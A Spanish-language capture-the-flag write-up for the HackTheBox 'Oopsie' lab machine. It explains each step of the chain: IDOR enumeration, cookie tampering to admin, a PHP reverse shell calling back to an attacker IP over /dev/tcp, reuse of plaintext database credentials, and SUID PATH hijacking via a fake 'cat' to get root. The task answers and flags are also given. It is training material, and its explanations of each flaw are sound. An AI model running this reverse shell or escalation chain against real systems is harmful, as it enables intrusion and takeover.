// HackTheBox — Starting Point — Writeup

OOPSIE

#linux #web #idor #suid #path-hijacking
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo para descubrir la superficie de ataque disponible en la máquina víctima.

escaneo inicial
nmap -sC -sV -oN oopsie.nmap <IP_VICTIMA>
PUERTO ESTADO SERVICIO VERSIÓN
22/tcp OPEN SSH OpenSSH 7.6p1
80/tcp OPEN HTTP Apache 2.4.29

La superficie es reducida: una web y SSH. Al acceder a http://<IP_VICTIMA> aparece la página de una empresa de reparación de coches. A simple vista no hay ningún panel de login ni ruta obvia de acceso.

// 02

ENUMERACIÓN WEB — Descubriendo el panel de login

Configuramos Burp Suite como proxy del navegador e interceptamos el tráfico al cargar la página principal. En el Site map de Burp aparece, entre los recursos cargados pasivamente, una petición GET a /cdn-cgi/login/script.js, lo que delata la existencia del directorio.

Tarea 1
¿Con qué tipo de herramienta se puede interceptar tráfico web? → proxy

Accedemos directamente a la ruta descubierta:

ruta descubierta
http://<IP_VICTIMA>/cdn-cgi/login

Aparece un panel de login con la opción "Login as Guest".

Tarea 2
¿Cuál es la ruta del directorio que devuelve el panel de login? → /cdn-cgi/login
// 03

IDOR — Enumerando el Access ID del administrador

Iniciamos sesión pulsando "Login as Guest". La aplicación nos redirige a:

http://<IP_VICTIMA>/cdn-cgi/login/admin.php?content=accounts&id=2

El parámetro id=2 referencia directamente el registro de nuestra cuenta en la base de datos. Este es el indicador clásico de un IDOR (Insecure Direct Object Reference): el servidor confía ciegamente en el valor del parámetro sin verificar que el usuario tenga permisos para acceder a ese recurso.

¿Dónde está la vulnerabilidad?
La aplicación expone identificadores numéricos correlativos en la URL. Cualquier usuario autenticado —incluso como invitado— puede leer los datos de cualquier otro usuario simplemente cambiando el valor de id. No existe ningún control de autorización en el servidor.

Cambiamos el parámetro a id=1, ya que el primer usuario registrado suele ser el administrador:

explotación del IDOR
http://<IP_VICTIMA>/cdn-cgi/login/admin.php?content=accounts&id=1
ACCESS ID NAME EMAIL
34322 admin [email protected]
Tarea 4
¿Cuál es el Access ID del usuario administrador? → 34322
// 04

COOKIE HIJACKING — Escalada a administrador

Tarea 3
¿Qué se puede modificar en Firefox para acceder a la página de uploads? → cookie

La sesión se gestiona mediante dos cookies: role y user. Con el Access ID del administrador obtenido por IDOR podemos suplantar su sesión modificando estas cookies desde las DevTools del navegador (F12 → Application → Cookies).

1
Abrir DevTools → Application → Cookies
Inspeccionamos las cookies de sesión actuales, correspondientes a la cuenta de invitado.
2
Modificar los valores
Cambiamos role a admin y user a 34322 (el Access ID obtenido por IDOR).
3
Recargar la página
El servidor lee las cookies modificadas, asume que somos el administrador y muestra el panel completo con la pestaña de Uploads habilitada.
¿Por qué funciona?
La aplicación delega el control de permisos en datos que el cliente puede modificar libremente. Al no validar la sesión contra la base de datos en el servidor, cualquier usuario puede otorgarse el rol de administrador simplemente cambiando el valor de una cookie.
// 05

WEB SHELL — Ejecución remota de código

Tarea 5
Al subir un archivo, ¿en qué directorio aparece en el servidor? → /uploads

Con la sesión de administrador activa accedemos a la sección de Branding Image Uploads. El formulario permite subir archivos sin validar su tipo ni contenido, lo que nos permite subir directamente una reverse shell en PHP.

shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1'"); ?>

Subimos el fichero a través del formulario y nos ponemos en escucha con netcat:

listener
nc -lvnp 4444

Activamos la shell navegando al archivo subido:

activar la reverse shell
http://<IP_VICTIMA>/uploads/shell.php
www-data@oopsie:/$ whoami www-data
// 06

ESCALADA HORIZONTAL — De www-data a robert

Tarea 6
¿Qué archivo contiene la contraseña compartida con el usuario robert? → db.php

Enumeramos el sistema de archivos en busca de credenciales. En el directorio de la aplicación de login encontramos un archivo de configuración de base de datos con credenciales en texto plano:

inspección del directorio de login
cat /var/www/html/cdn-cgi/login/db.php
contenido de db.php
<?php $conn = mysqli_connect('localhost', 'robert', 'M3g4C0rpUs3r!', 'garage'); ?>

El usuario robert reutiliza la misma contraseña para su cuenta del sistema:

cambio de usuario
su robert Password: M3g4C0rpUs3r!
robert@oopsie:~$ cat user.txt f2c74ee8db7983851ab2a96a44eb7981
USER FLAG f2c74ee8db7983851ab2a96a44eb7981
// 07

PRIVILEGE ESCALATION — SUID + Path Hijacking

Tarea 7
¿Qué ejecutable se usa con -group bugtracker para identificar archivos del grupo? → find

Buscamos binarios con el bit SUID activado pertenecientes al grupo bugtracker, del que robert es miembro:

búsqueda de binarios SUID
find / -group bugtracker -ls 2>/dev/null
264151 12 -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
Tareas 8 y 9
La s en los permisos (-rws) indica el bit SUID (Set owner User ID). Sin importar quién lo ejecute, el binario siempre corre con los privilegios de su dueño: root.

Ejecutamos el binario para analizar su comportamiento:

------------------ : EV Bug Tracker : ------------------ Provide Bug ID: 12 -------------- cat: /root/reports/12: No such file or directory

El binario llama a cat usando una ruta relativa. Para resolverlo, el sistema busca en los directorios del $PATH de izquierda a derecha y usa el primero que encuentre.

Vulnerabilidad
Un binario SUID que invoca comandos sin ruta absoluta es vulnerable a path hijacking: si controlamos el $PATH, podemos hacer que el binario (ejecutado como root) llame a un cat malicioso nuestro en lugar del legítimo del sistema.
Tarea 10
¿Qué ejecutable se llama de forma insegura? → cat
explotación — path hijacking
cd /tmp # 1. Crear el cat malicioso echo '#!/bin/bash' > cat echo '/bin/bash -p' >> cat chmod +x cat # 2. Inyectar /tmp al inicio del PATH export PATH=/tmp:$PATH # 3. Ejecutar el binario SUID bugtracker
------------------ : EV Bug Tracker : ------------------ Provide Bug ID: 12 -------------- root@oopsie:/tmp# whoami root

El binario SUID ejecuta nuestro cat con privilegios de root, que lanza una bash con -p preservando el EUID. Leemos la flag con ruta absoluta para no invocar de nuevo nuestro script:

/bin/cat /root/root.txt
ROOT FLAG af13b0bee69f8a877c3faf667f7beacf
// RESUMEN

CADENA DE ATAQUE

01
Enumeración con Burp Suite
El tráfico pasivo interceptado revela la ruta oculta /cdn-cgi/login con el panel de login de la aplicación
02
IDOR → Access ID del admin
Cambiando id=2 a id=1 en la URL se filtra el Access ID 34322 del administrador sin ningún control de autorización
03
Cookie Hijacking → panel admin
Modificando role=admin y user=34322 en las cookies el servidor concede acceso completo al panel de uploads
04
Web Shell PHP → RCE como www-data
El uploader no valida el tipo de archivo → se sube shell.php → reverse shell desde /uploads/shell.php
05
Credenciales en db.php → usuario robert
db.php expone la contraseña en texto plano → robert reutiliza la misma contraseña en el sistema → flag de usuario
Path Hijacking SUID → Root
Binario bugtracker (SUID root) llama a cat con ruta relativa → /tmp/cat malicioso + PATH manipulado → shell de root